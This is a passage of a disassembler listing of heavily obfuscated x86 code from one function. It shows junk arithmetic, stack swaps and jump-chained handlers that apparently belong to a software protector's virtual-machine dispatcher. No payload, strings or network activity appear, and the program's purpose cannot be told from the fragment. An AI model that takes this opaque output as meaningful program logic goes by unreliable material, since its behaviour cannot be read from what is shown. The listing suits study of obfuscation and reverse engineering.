loc_5954ED:				; CODE XREF: sub_58A891+913Fj
		jmp	loc_595D9D
; ---------------------------------------------------------------------------


loc_5954F2:				; CODE XREF: sub_58A891+F292j
		mov	eax, 2C7C5946h
		dec	eax
		jmp	loc_598D54
; ---------------------------------------------------------------------------


loc_5954FD:				; CODE XREF: sub_58A891+8850j
		add	edx, 0D5A016A1h
		add	ecx, 0E4803A9h
		add	ecx, edx
		jmp	loc_599D85
; ---------------------------------------------------------------------------


loc_595510:				; CODE XREF: sub_58A891+65C9j
		inc	ecx
		xchg	eax, ecx
		jmp	loc_599773
; ---------------------------------------------------------------------------


loc_595517:				; CODE XREF: sub_58A891+4F43j
		xor	edx, 57B22EA0h
		push	esi
		jmp	loc_59740C
; ---------------------------------------------------------------------------


loc_595523:				; CODE XREF: sub_58A891+3CA1j
		mov	ch, 0D4h
		xor	ch, dl
		pop	edx
		xor	bl, ch
		pop	cx
		sub	al, 67h
		sub	al, bl
		push	ebx
		mov	bl, 67h
		jmp	loc_590F99
; ---------------------------------------------------------------------------


loc_595538:				; CODE XREF: sub_58A891+8E31j
		add	esp, 4
		xor	ebx, 7D34D8D4h
		add	ebp, ebx
		pop	ebx
		push	eax
		push	edx
		push	ebp
		mov	ebp, 62953E57h
		xor	ebp, 4FF2CF3h
		or	ebp, 707341D0h
		and	ebp, 41882C9Dh
		jmp	loc_599FFF
; ---------------------------------------------------------------------------


loc_595563:				; CODE XREF: sub_58A891+AEACj
		mov	eax, [esp+48h+var_48]
		add	esp, 4
		add	esp, 4
		or	ebx, ebx
		jnz	loc_58E877
		push	ebx
		mov	ebx, 746E26AEh
		sub	ebx, 583961B1h
		jbe	loc_597EB5
		and	ebx, 1BD52917h
		jmp	loc_594C30
; ---------------------------------------------------------------------------


loc_595597:				; CODE XREF: sub_58A891+E276j
		js	loc_595DB4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5947F3
; ---------------------------------------------------------------------------


loc_5955AE:				; CODE XREF: sub_58A891+D3FFj
		mov	[esp+48h+var_48], ecx
		push	eax
		mov	ah, 0C4h
		and	ah, 53h
		jp	loc_5939C8
		shl	ah, 2
		shl	ah, 4
		push	bx
		jmp	loc_5944C7
; ---------------------------------------------------------------------------


loc_5955CA:				; CODE XREF: sub_58A891+FD4Fj
		add	ecx, 4ED1372Ch
		pop	edx
		jmp	loc_5980C1
; ---------------------------------------------------------------------------


loc_5955D6:				; CODE XREF: sub_58A891+9255j
		add	esi, 0D3B6F3F1h
		and	eax, esi
		pop	esi
		jmp	loc_59093E
; ---------------------------------------------------------------------------


loc_5955E4:				; CODE XREF: sub_58A891+AE0Ej
		push	605Fh
		mov	[esp+3Ch+var_3C], edi
		jmp	loc_591760
; ---------------------------------------------------------------------------


loc_5955F1:				; CODE XREF: sub_58A891+FBC9j
		push	328Ah
		mov	[esp+40h+var_40], edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, 3CAF2E8Ch
		jmp	loc_59036E
; ---------------------------------------------------------------------------


loc_59560C:				; CODE XREF: sub_58A891:loc_598D54j
		jmp	loc_59A921
; ---------------------------------------------------------------------------


loc_595611:				; CODE XREF: sub_58A891+BBB9j
		and	edx, 64144B2Dh
		sub	edx, 0AA579336h
		and	esi, edx
		jmp	loc_597FCB
; ---------------------------------------------------------------------------


loc_595624:				; CODE XREF: sub_58A891+E0D7j
		mov	edi, esp
		push	esi
		jmp	loc_59B1B2
; ---------------------------------------------------------------------------


loc_59562C:				; CODE XREF: sub_58A891+10E4Cj
		sub	esp, 4
		mov	[esp+4Ch+var_4C], esi
		mov	esi, 4
		sub	edx, 637C791Dh
		add	edx, esi
		push	edi
		mov	edi, 637C791Dh
		add	edx, edi
		pop	edi
		pop	esi
		add	edx, 4
		xchg	edx, [esp+48h+var_48]
		jmp	loc_591073
; ---------------------------------------------------------------------------


loc_595654:				; CODE XREF: sub_58A891+D345j
		sub	edx, 9F63D6h
		sub	edx, ebp
		jmp	loc_597485
; ---------------------------------------------------------------------------


loc_595661:				; CODE XREF: sub_58A891+A154j
		mov	esi, 5C557986h
		not	esi
		dec	esi
		inc	esi
		jmp	loc_593ADD
; ---------------------------------------------------------------------------


loc_59566F:				; CODE XREF: sub_58A891+5D45j
		add	ax, 2780h
		sub	ax, 5E2h
		add	bx, ax
		pop	eax
		add	ax, bx
		pop	bx
		dec	ax
		or	ax, 6655h
		add	ax, 0B369h
		jmp	loc_592584
; ---------------------------------------------------------------------------


loc_59568F:				; CODE XREF: sub_58A891+6273j
		xchg	ebx, [esp+18h+var_18]
		pop	esp
		sub	esp, 4
		jmp	loc_59099D
; ---------------------------------------------------------------------------


loc_59569E:				; CODE XREF: sub_58A891+5C46j
		pop	ecx
		jmp	loc_5955E4
; ---------------------------------------------------------------------------


loc_5956A4:				; CODE XREF: sub_58A891+7C4Bj
		inc	esi
		sub	esi, 295D56ADh
		push	ecx
		jmp	loc_59B263
; ---------------------------------------------------------------------------


loc_5956B1:				; CODE XREF: sub_58A891+7B8Fj
		mov	eax, [esp+34h+var_34]
		add	esp, 4
		add	eax, edi
		push	dword ptr [eax]
		pop	ecx
		pop	eax
		push	ebp
		push	eax
		push	54C6h
		jmp	loc_594633
; ---------------------------------------------------------------------------


loc_5956C9:				; CODE XREF: sub_58A891+7F3Ej
		add	ebx, edi
		jmp	loc_59A8BE
; ---------------------------------------------------------------------------


loc_5956D0:				; CODE XREF: sub_58A891+D779j
		mov	ebp, 77E3226Ch
		jmp	loc_59834B
; ---------------------------------------------------------------------------


loc_5956DA:				; CODE XREF: sub_58A891+107FDj
		sub	esp, 4
		mov	[esp+20h+var_20], eax
		jmp	loc_590F7A
; ---------------------------------------------------------------------------


loc_5956E8:				; CODE XREF: sub_58A891+D5D6j
		sub	ecx, 1D4D0F4Dh
		jnp	loc_591C64
		add	ecx, 0E3E4F2Eh
		add	ecx, 9BEB7A28h
		mov	esi, ecx
		jmp	loc_591CC5
; ---------------------------------------------------------------------------


loc_595707:				; CODE XREF: sub_58A891+5A91j
		jmp	loc_5900F0
; ---------------------------------------------------------------------------


loc_59570C:				; CODE XREF: sub_58A891+6CE1j
		add	esp, 4
		push	edx
		mov	edx, 63AA0F9Fh
		push	eax
		mov	eax, 12A40D4h
		or	edx, eax
		pop	eax
		jmp	loc_591CE2
; ---------------------------------------------------------------------------


loc_595723:				; CODE XREF: sub_58A891+88B7j
		mov	ecx, esp
		jmp	loc_592B73
; ---------------------------------------------------------------------------


loc_59572A:				; CODE XREF: sub_58A891+9645j
		mov	edx, 7BE34A78h
		jmp	loc_594562
; ---------------------------------------------------------------------------


loc_595734:				; CODE XREF: sub_58A891+B65Cj
		xchg	ebp, [esp+10h+var_10]
		pop	esp
		and	ebx, eax
		push	[esp+0Ch+var_C]
		jmp	loc_595563
; ---------------------------------------------------------------------------


loc_595742:				; CODE XREF: sub_58A891+F1FCj
					; sub_58A891+1126Cj
		add	bl, 0F6h
		push	dx
		mov	dh, 74h
		add	bl, 8Eh
		sub	bl, dh
		sub	bl, 8Eh
		pop	dx
		sub	esp, 2
		mov	word ptr [esp+14h+var_14], dx
		mov	dh, 3Fh
		add	bl, 4
		add	bl, 0D4h
		add	bl, dh
		sub	bl, 0D4h
		sub	bl, 4
		pop	dx
		movzx	eax, al
		mov	dx, word ptr [esp+12h+var_14+2]
		jmp	loc_59534F
; ---------------------------------------------------------------------------


loc_59577B:				; DATA XREF: sub_58A891+3A93o
		mov	ax, word ptr [esp+8+var_8]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ebx
		mov	ebx, esp
		push	edi
		jmp	loc_58EB6E
; ---------------------------------------------------------------------------


loc_59579D:				; CODE XREF: sub_58A891+104E8j
		pop	ecx
		neg	edi
		add	edi, 3D0BD0C4h
		add	ecx, edi
		pop	edi
		xor	ecx, 56419989h
		add	ebx, ecx
		pop	ecx


loc_5957B2:				; CODE XREF: sub_58A891+A0B2j
		push	6B7Fh
		mov	[esp+4+var_4], eax
		jmp	loc_5985E0
; ---------------------------------------------------------------------------


loc_5957BF:				; CODE XREF: sub_58A891+5E37j
		push	edi
		sub	[esp+1Ch+var_1C], 12A03CD4h
		mov	ebx, [esp+1Ch+var_1C]
		jmp	loc_592D00
; ---------------------------------------------------------------------------


loc_5957CF:				; CODE XREF: sub_58A891:loc_5970B3j
		sub	ah, 2Eh
		mov	cl, ah
		pop	eax
		and	al, cl
		jmp	loc_598616
; ---------------------------------------------------------------------------


loc_5957DC:				; CODE XREF: sub_58A891+5B58j
		push	690Bh
		jmp	loc_598DF1
; ---------------------------------------------------------------------------


loc_5957E6:				; CODE XREF: sub_58A891+8EFBj
		push	[esp+38h+var_38]
		pop	esi
		add	esp, 4
		jmp	loc_593C4F
; ---------------------------------------------------------------------------


loc_5957F5:				; CODE XREF: sub_58A891+615Cj
		sub	ecx, ebx
		pop	ebx
		jmp	loc_590EC9
; ---------------------------------------------------------------------------


loc_5957FD:				; CODE XREF: sub_58A891+D2C1j
		add	ebp, 0A9F0F6F6h
		jmp	loc_598AB2
; ---------------------------------------------------------------------------


loc_595808:				; CODE XREF: sub_58A891+F849j
		mov	[esp+18h+var_18], edx
		mov	esi, [esp+18h+var_18]
		jmp	loc_58FBAF
; ---------------------------------------------------------------------------


loc_595813:				; CODE XREF: sub_58A891+C6EAj
		push	54AC6EC1h
		mov	ebx, [esp+1Ch+var_1C]
		jmp	loc_59BB6D
; ---------------------------------------------------------------------------


loc_595820:				; CODE XREF: sub_58A891+66F1j
		mov	edi, 4
		add	eax, edi
		pop	edi
		xor	eax, [esp+10h+var_10]
		xor	[esp+10h+var_10], eax
		xor	eax, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		push	1DCDh
		mov	[esp+14h+var_14], ecx
		push	80000h
		push	[esp+18h+var_18]
		jmp	loc_599C44
; ---------------------------------------------------------------------------


loc_595849:				; CODE XREF: sub_58A891+5ABAj
		pop	ebx
		add	edi, 140A0380h
		shr	edi, 7
		sub	edi, 2F7D0D09h
		not	edi
		jmp	loc_592C58
; ---------------------------------------------------------------------------


loc_595860:				; CODE XREF: sub_58A891+7C3Fj
		mov	edx, 2380718Fh
		push	edx
		pop	esi
		pop	edx
		jmp	loc_5932A9
; ---------------------------------------------------------------------------


loc_59586D:				; CODE XREF: sub_58A891+5B33j
					; sub_58A891+5FABj
		pop	eax
		add	esp, 4
		not	dl
		dec	dl
		sub	dl, 1
		jmp	loc_595F1B
; ---------------------------------------------------------------------------


loc_595880:				; CODE XREF: sub_58A891+ABFBj
		pop	eax
		pop	[esp+10h+var_10]
		pop	esp
		imul	cl
		movzx	cx, ah
		push	57B6h
		mov	[esp+0Ch+var_C], edx
		sub	esp, 4
		push	esp
		pop	[esp+14h+var_14]
		jmp	loc_5958E4
; ---------------------------------------------------------------------------


loc_59589F:				; CODE XREF: sub_58A891+57C4j
		xor	ebp, 2B077B46h
		jg	loc_5936C7
		jmp	loc_58E663
; ---------------------------------------------------------------------------
		mov	[esp+18h+var_18], eax
		jmp	loc_593766
; ---------------------------------------------------------------------------
		mov	dh, bl


loc_5958BA:				; CODE XREF: sub_58A891+BD06j
		xor	ebp, [esp+18h+var_18]
		xor	[esp+18h+var_18], ebp
		xor	ebp, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		jmp	loc_5992A1
; ---------------------------------------------------------------------------


loc_5958CB:				; CODE XREF: sub_58A891+98D4j
		sub	al, 3
		pop	edx
		sub	al, 0F1h
		sub	al, 0C6h
		add	al, bl
		push	edx
		mov	dl, 0C6h
		add	al, dl
		pop	edx
		add	al, 0F1h
		push	edx
		mov	dh, 0D4h
		jmp	loc_598F6D
; ---------------------------------------------------------------------------


loc_5958E4:				; CODE XREF: sub_58A891+B009j
		add	[esp+10h+var_10], 4
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	eax, 2
		add	edx, 39E04A46h
		sub	edx, eax
		push	edi
		mov	edi, 72C052C7h
		push	ecx
		mov	ecx, 67174D75h
		or	edi, ecx
		pop	ecx
		push	ebx
		mov	ebx, 4EA610A4h
		xor	edi, ebx
		pop	ebx
		and	edi, 6123409h
		shl	edi, 2
		shl	edi, 6
		xor	edi, 29E44B46h
		sub	edx, edi
		pop	edi
		pop	eax
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_59AAD1
; ---------------------------------------------------------------------------


loc_595939:				; CODE XREF: sub_58A891+C408j
					; sub_58A891+1004Fj
		mov	ecx, 0D4EE0868h
		add	esi, 7F180075h
		jmp	loc_5974F1
; ---------------------------------------------------------------------------


loc_595949:				; CODE XREF: sub_58A891+79BFj
		mov	esi, 2
		add	eax, 4E0C5209h
		add	eax, esi
		sub	eax, 4E0C5209h
		pop	esi
		jmp	loc_596DD1
; ---------------------------------------------------------------------------


loc_595960:				; CODE XREF: sub_58A891+F70Aj
		sub	al, 8Dh
		add	al, 0FCh
		add	al, 3Eh
		push	ebx
		mov	bh, 5Eh
		sub	bh, 0B3h
		add	bh, 6
		jmp	loc_59B74A
; ---------------------------------------------------------------------------


loc_595974:				; CODE XREF: sub_58A891+D593j
		add	esp, 4
		jmp	loc_59867B
; ---------------------------------------------------------------------------


loc_59597C:				; CODE XREF: sub_58A891+C9D0j
		pop	ebp
		pop	[esp+40h+var_40]
		pop	esp
		mov	[esp+38h+var_38], esi
		mov	esi, esp
		add	esi, 4
		push	edx
		jmp	loc_597E52
; ---------------------------------------------------------------------------


loc_595992:				; CODE XREF: sub_58A891+10F70j
		add	esp, 4
		jmp	loc_594175
; ---------------------------------------------------------------------------


loc_59599A:				; CODE XREF: sub_58A891+4B71j
		pop	ecx
		pop	edx
		mov	bl, al
		push	[esp+38h+var_38]
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 79941A88h
		dec	ebx
		shl	ebx, 2
		add	ebx, 5AFE0CB6h
		or	ebx, 3F7E6F4Ch
		sub	ebx, 7F7E7FDAh
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp+3Ch+var_3C]
		pop	esp
		xor	al, bl
		pop	bx
		push	dx
		mov	dl, 3Ch
		push	edx
		mov	dh, 4Ah
		jmp	loc_58F0B6
; ---------------------------------------------------------------------------


loc_5959DE:				; CODE XREF: sub_58A891+EE6Aj
		pop	ecx
		jmp	loc_5969BC
; ---------------------------------------------------------------------------


loc_5959E4:				; CODE XREF: sub_58A891+F5ACj
		mov	[esp+38h+var_38], esi
		jmp	loc_599A68
; ---------------------------------------------------------------------------


loc_5959EC:				; CODE XREF: sub_58A891+EC88j
		mov	esp, [esp+38h+var_38]
		push	ebx
		jmp	loc_58EAE4
; ---------------------------------------------------------------------------


loc_5959F5:				; CODE XREF: sub_58A891+5D18j
		push	edx
		mov	edx, 0BE6E8661h
		xor	ebx, edx
		pop	edx
		mov	edx, ebx
		mov	ebx, [esp+3Ch+var_3C]
		jmp	loc_58F780
; ---------------------------------------------------------------------------


loc_595A08:				; CODE XREF: sub_58A891+7699j
		pop	eax
		push	35B5h
		mov	[esp+4+var_4], eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp+8+var_8], esi
		jmp	loc_5935EB
; ---------------------------------------------------------------------------


loc_595A21:				; CODE XREF: sub_58A891+10225j
		mov	esi, [esp+8+var_8]
		jmp	loc_592736
; ---------------------------------------------------------------------------


loc_595A29:				; CODE XREF: sub_58A891+B73Ej
		push	767Eh
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, 0CC16782h
		jmp	loc_5910C7
; ---------------------------------------------------------------------------


loc_595A3B:				; CODE XREF: sub_58A891:loc_594C30j
					; sub_58A891+A9FEj
		mov	ecx, 35A50E1Bh
		add	edx, ecx
		jmp	loc_5938F8
; ---------------------------------------------------------------------------


loc_595A47:				; CODE XREF: sub_58A891+B301j
		mov	[esp+0Ah+var_C+2], ecx
		push	5D483480h
		pop	ecx
		add	ecx, 23A2346Ah
		jnz	loc_59A8F0
		jmp	loc_5990D0
; ---------------------------------------------------------------------------
		shl	eax, 5
		shr	eax, 5
		mov	ch, 6Bh


loc_595A69:				; CODE XREF: sub_58A891+4B5Ej
		mov	ebx, [esp+40h+var_40]
		add	esp, 4
		add	ebx, 4
		jmp	loc_58FE60
; ---------------------------------------------------------------------------


loc_595A7D:				; CODE XREF: sub_58A891+10200j
		pop	eax
		xor	edi, [esp+38h+var_38]
		xor	[esp+38h+var_38], edi
		xor	edi, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		sub	esp, 4
		jmp	loc_590816
; ---------------------------------------------------------------------------


loc_595A95:				; CODE XREF: sub_58A891+9889j
		add	esp, 4
		push	esi
		jmp	loc_58F13D
; ---------------------------------------------------------------------------


loc_595AA1:				; CODE XREF: sub_58A891+10BEFj
		push	[esp+0Ch+var_C]
		pop	edx
		jmp	loc_5969EA
; ---------------------------------------------------------------------------


loc_595AAA:				; CODE XREF: sub_58A891+FDE3j
		push	ebp
		push	18FC274Bh
		pop	ebp
		jmp	loc_58F1DD
; ---------------------------------------------------------------------------


loc_595AB6:				; CODE XREF: sub_58A891+8F52j
					; sub_58A891+A634j
		pop	ebx
		jmp	loc_58FA7F
; ---------------------------------------------------------------------------


loc_595ABC:				; CODE XREF: sub_58A891+BA9Fj
		mov	ecx, ebp
		jmp	loc_591193
; ---------------------------------------------------------------------------


loc_595AC3:				; CODE XREF: sub_58A891+B548j
		push	ebx
		jmp	loc_597FA1
; ---------------------------------------------------------------------------


loc_595AC9:				; DATA XREF: sub_58A891+3A63o
		lodsb
		push	627Fh
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_592014
; ---------------------------------------------------------------------------


loc_595AD7:				; CODE XREF: sub_58A891+74AEj
		and	esi, 667C6700h
		jz	loc_59058A
		add	esi, 0F164EC3h
		sub	esi, 2FF11BDCh
		jmp	loc_59B1F4
; ---------------------------------------------------------------------------


loc_595AF4:				; CODE XREF: sub_58A891+4D05j
		add	bh, 7
		jmp	loc_5992F9
; ---------------------------------------------------------------------------


loc_595AFC:				; CODE XREF: sub_58A891+FB1Aj
		and	esi, 2CD46A55h
		add	esi, 13C227E7h
		push	esi
		sub	[esp+40h+var_40], 16748E6h
		mov	ecx, [esp+40h+var_40]
		add	esp, 4
		add	ecx, 16748E6h
		pop	esi
		add	edx, ecx
		jmp	loc_59AD26
; ---------------------------------------------------------------------------


loc_595B24:				; CODE XREF: sub_58A891+D73Cj
		push	ecx
		mov	ecx, 5A992C5Bh
		xor	ecx, 57506D49h
		xor	ecx, 4C545719h
		xor	ecx, 34346533h
		jmp	loc_58EA24
; ---------------------------------------------------------------------------


loc_595B41:				; CODE XREF: sub_58A891+9FABj
		add	esi, ecx
		mov	ecx, [esp+3Ch+var_3C]
		jmp	loc_595B78
; ---------------------------------------------------------------------------


loc_595B4B:				; CODE XREF: sub_58A891+5146j
		xor	eax, 32180247h
		jmp	loc_599A92
; ---------------------------------------------------------------------------


loc_595B55:				; CODE XREF: sub_58A891+EDB3j
		pop	esi
		mov	esi, edx
		pop	edx
		shr	esi, 5
		jmp	loc_59239C
; ---------------------------------------------------------------------------


loc_595B61:				; CODE XREF: sub_58A891+63A8j
		push	[esp+12h+var_10+2]
		mov	edi, [esp+16h+var_18+2]
		jmp	loc_59681D
; ---------------------------------------------------------------------------


loc_595B6D:				; CODE XREF: sub_58A891+DF8Fj
		add	ebp, 4
		jmp	loc_5948A3
; ---------------------------------------------------------------------------


loc_595B78:				; CODE XREF: sub_58A891+B2B5j
		add	esp, 4
		xchg	esi, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		mov	ax, word ptr [esp+38h+var_38]
		push	620Eh
		jmp	loc_592999
; ---------------------------------------------------------------------------


loc_595B8F:				; CODE XREF: sub_58A891+4780j
		sub	esp, 4
		jmp	loc_595A47
; ---------------------------------------------------------------------------


loc_595B97:				; CODE XREF: sub_58A891+FA23j
		or	edx, 1E9C6F1Dh
		neg	edx
		and	edx, 6C332231h
		xor	edx, 0B73E10ADh
		jmp	loc_591936
; ---------------------------------------------------------------------------


loc_595BB0:				; CODE XREF: sub_58A891+9E2Fj
		add	edx, edi
		jmp	loc_5906CD
; ---------------------------------------------------------------------------


loc_595BB7:				; CODE XREF: sub_58A891+10ACFj
		neg	esi
		add	esi, 0FFFFFFFFh
		push	5E4Ah
		mov	[esp+50h+var_50], eax
		jmp	loc_59B38D
; ---------------------------------------------------------------------------


loc_595BCC:				; CODE XREF: sub_58A891+BD2Bj
		add	eax, 1
		xor	eax, 7F0895B8h
		xor	esi, eax
		pop	eax
		jmp	loc_5986B1
; ---------------------------------------------------------------------------


loc_595BDE:				; CODE XREF: sub_58A891+DB19j
		xor	ebx, [esp+4Ch+var_4C]
		mov	esp, [esp+4Ch+var_4C]
		btc	word ptr [esp+4Ch+var_4C], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_595BEF:				; DATA XREF: sub_58A891+3AF3o
		mov	edx, [esp+8+var_8]
		sub	esp, 4
		jmp	loc_592538
; ---------------------------------------------------------------------------


loc_595BFD:				; CODE XREF: sub_58A891+CEC9j
		sub	eax, 63881456h
		sub	eax, esi
		add	eax, 63881456h
		mov	esi, [esp+0Ch+var_C]
		add	esp, 4
		push	3E05h
		mov	[esp+0Ch+var_C], ebp
		push	ebp
		jmp	loc_592CA4
; ---------------------------------------------------------------------------


loc_595C1D:				; CODE XREF: sub_58A891+5733j
		mov	dh, 0BEh
		sub	bl, dh
		pop	dx
		mov	ecx, [esp+46h+var_48+2]
		jmp	loc_599E70
; ---------------------------------------------------------------------------


loc_595C2B:				; CODE XREF: sub_58A891+F411j
		add	ebx, 4
		push	2CAFh
		mov	[esp+4Ah+var_4C+2], ebx
		push	[esp+4Ah+var_48+2]
		pop	ebx
		pop	[esp+4Ah+var_4C+2]
		pop	esp
		dec	[esp+42h+var_44+2]
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_595C48:				; CODE XREF: sub_58A891+A14Ej
		push	ebp
		jmp	loc_58F6EE
; ---------------------------------------------------------------------------


loc_595C4E:				; CODE XREF: sub_58A891+8D7Dj
		mov	ecx, [esp+0Ah+var_C+2]
		jmp	loc_5940BC
; ---------------------------------------------------------------------------


loc_595C56:				; CODE XREF: sub_58A891:loc_58E6ABj
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		jmp	loc_591AF0
; ---------------------------------------------------------------------------


loc_595C61:				; CODE XREF: sub_58A891+D6B2j
		pop	esp
		push	0EA0h
		mov	[esp+4Ch+var_4C], ebp
		push	esi
		jmp	loc_590A8C
; ---------------------------------------------------------------------------


loc_595C70:				; CODE XREF: sub_58A891+D2ABj
		jp	loc_5953CF
		jmp	loc_59B2B1
; ---------------------------------------------------------------------------


loc_595C7B:				; CODE XREF: sub_58A891+CA5Dj
		xor	edx, [esp+50h+var_50]
		xor	[esp+50h+var_50], edx
		xor	edx, [esp+50h+var_50]
		mov	esp, [esp+50h+var_50]
		push	ecx
		mov	ecx, 6C2A73F6h
		and	ecx, 7FD32362h
		neg	ecx
		sub	ecx, 1FCF4906h
		add	ecx, 838D6F6h
		jmp	loc_59A594
; ---------------------------------------------------------------------------


loc_595CA6:				; CODE XREF: sub_58A891+84CDj
					; sub_58A891+A8F7j
		pop	edi
		jmp	loc_58EA9F
; ---------------------------------------------------------------------------


loc_595CAC:				; DATA XREF: sub_58A891+3BE3o
		pop	dword ptr [edi+40h]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_595CB4:				; CODE XREF: sub_58A891+9D88j
		jnp	loc_598EDC
		push	ebx
		mov	ebx, 0F0609028h
		add	ebp, ebx
		pop	ebx
		add	edx, ebp
		pop	ebp


loc_595CC6:				; CODE XREF: sub_58A891+590Ej
					; sub_58A891+10D91j
		add	dh, 64h
		jmp	loc_592118
; ---------------------------------------------------------------------------


loc_595CCE:				; CODE XREF: sub_58A891+7338j
		xchg	ecx, [esp+44h+var_44]
		pop	esp
		mov	[esp+40h+var_40], edi
		push	ebp
		mov	ebp, 4C873091h
		xor	ebp, 7C605EC0h
		jmp	loc_59049F
; ---------------------------------------------------------------------------


loc_595CE6:				; CODE XREF: sub_58A891+9DE2j
		xor	eax, 0A1C3862Dh
		jmp	loc_59A5C6
; ---------------------------------------------------------------------------


loc_595CF0:				; CODE XREF: sub_58A891+6287j
		add	ebp, ebx
		push	[esp+18h+var_18]
		pop	ebx
		add	esp, 4
		add	ebp, 2
		xor	ebp, [esp+14h+var_14]
		jmp	loc_592160
; ---------------------------------------------------------------------------


loc_595D0A:				; CODE XREF: sub_58A891+C38Dj
		mov	esi, 34864D37h
		shl	esi, 4
		sub	esi, 4E7A3457h
		or	esi, 29D42A2h
		jmp	loc_599EE9
; ---------------------------------------------------------------------------


loc_595D23:				; CODE XREF: sub_58A891+104D8j
		sub	edi, 1C89D02Eh
		add	esi, edi
		pop	edi
		xchg	esi, [esp+10h+var_10]
		pop	esp
		jmp	loc_58F51A
; ---------------------------------------------------------------------------


loc_595D35:				; CODE XREF: sub_58A891:loc_590627j
		neg	ebp
		jmp	loc_597AE3
; ---------------------------------------------------------------------------


loc_595D3C:				; CODE XREF: sub_58A891+9BB7j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, 2
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+0]
		pop	esp
		xor	[esp+0], al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_595D5A:				; DATA XREF: sub_58A891+39DBo
		lodsb
		xor	al, bl
		push	ecx
		push	esp
		jmp	loc_58ECC6
; ---------------------------------------------------------------------------


loc_595D64:				; CODE XREF: sub_58A891+449Aj
		mov	eax, [esp+8+var_8]
		add	esp, 4
		and	[edi+1Ch], esi
		mov	esi, [esp+4+var_4]
		jmp	loc_593806
; ---------------------------------------------------------------------------


loc_595D75:				; CODE XREF: sub_58A891+9DB2j
		add	esp, 4
		pop	[esp+14h+var_14]
		jmp	loc_591A59
; ---------------------------------------------------------------------------


loc_595D80:				; CODE XREF: sub_58A891+93D2j
		mov	ebp, ebx
		mov	edx, ebp
		pop	ebp
		mov	eax, edx
		push	[esp+40h+var_40]
		push	[esp+44h+var_44]
		pop	edx
		jmp	loc_594EE2
; ---------------------------------------------------------------------------


loc_595D93:				; CODE XREF: sub_58A891+70EFj
		add	si, 0EB65h
		jmp	loc_599128
; ---------------------------------------------------------------------------


loc_595D9D:				; CODE XREF: sub_58A891+7D83j
					; sub_58A891:loc_5954EDj
		mov	dl, 9Dh
		jmp	loc_592BF0
; ---------------------------------------------------------------------------


loc_595DA4:				; CODE XREF: sub_58A891+BA68j
		sub	ebp, edx
		pop	edx
		jmp	loc_5979F7
; ---------------------------------------------------------------------------


loc_595DAC:				; CODE XREF: sub_58A891+D493j
		mov	[esp+48h+var_48], ecx
		jmp	loc_598DC6
; ---------------------------------------------------------------------------


loc_595DB4:				; CODE XREF: sub_58A891:loc_595597j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_594458
; ---------------------------------------------------------------------------


loc_595DC5:				; CODE XREF: sub_58A891+A96Ej
		pop	[esp+4Ch+var_4C]
		jmp	loc_590686
; ---------------------------------------------------------------------------


loc_595DCD:				; CODE XREF: sub_58A891+48A7j
		push	ebp
		mov	ebp, 515371B6h
		sub	ebp, 4A806BF7h
		jg	loc_595AC3
		push	ebx
		jmp	loc_592003
; ---------------------------------------------------------------------------
		lodsb
		push	627Fh


loc_595DEB:				; CODE XREF: sub_58A891+6B84j
		sub	edi, 0E6AACFBEh
		push	edi
		mov	edi, 3477822h
		mov	eax, 59184B41h
		xor	eax, edi
		jmp	loc_596025
; ---------------------------------------------------------------------------


loc_595E03:				; CODE XREF: sub_58A891+804Fj
		push	ecx
		mov	ecx, 186A13B2h
		sub	esi, ecx
		pop	ecx
		add	esi, ebp
		add	esi, 186A13B2h
		pop	ebp
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		mov	ebp, [esp+2Ch+var_2C]
		add	esp, 4
		jmp	loc_593EDB
; ---------------------------------------------------------------------------


loc_595E28:				; CODE XREF: sub_58A891+538Fj
		and	bh, ah
		pop	eax
		push	small 1EE1h
		mov	word ptr [esp+4Ah+var_4C+2], dx
		mov	dl, 0DAh
		xor	bh, dl
		jmp	loc_59A3DE
; ---------------------------------------------------------------------------


loc_595E3C:				; CODE XREF: sub_58A891+A8F1j
		jmp	loc_59327A
; ---------------------------------------------------------------------------


loc_595E41:				; CODE XREF: sub_58A891+CDADj
		mov	[esp+50h+var_50], ecx
		jmp	loc_59042E
; ---------------------------------------------------------------------------


loc_595E49:				; CODE XREF: sub_58A891+4EE0j
		push	edi
		mov	edi, esp
		push	ebp
		jmp	loc_594BFC
; ---------------------------------------------------------------------------


loc_595E52:				; CODE XREF: sub_58A891+7A12j
		add	esi, 15D74D50h
		push	ebp
		mov	ebp, 2ADD6C35h
		jmp	loc_5928A8
; ---------------------------------------------------------------------------


loc_595E63:				; CODE XREF: sub_58A891+94E7j
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------
byte_595E6F	db 68h			; DATA XREF: sub_58A891+3AC7o
		dd 764Eh, 0FFB6AAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_595E79:				; CODE XREF: sub_58A891+AA5Aj
		mov	ecx, 4B782A73h
		shr	ecx, 3
		sub	ecx, 9416BBDDh
		and	edx, ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_597667
; ---------------------------------------------------------------------------


loc_595E97:				; CODE XREF: sub_58A891+EC1Cj
		jmp	loc_58E507
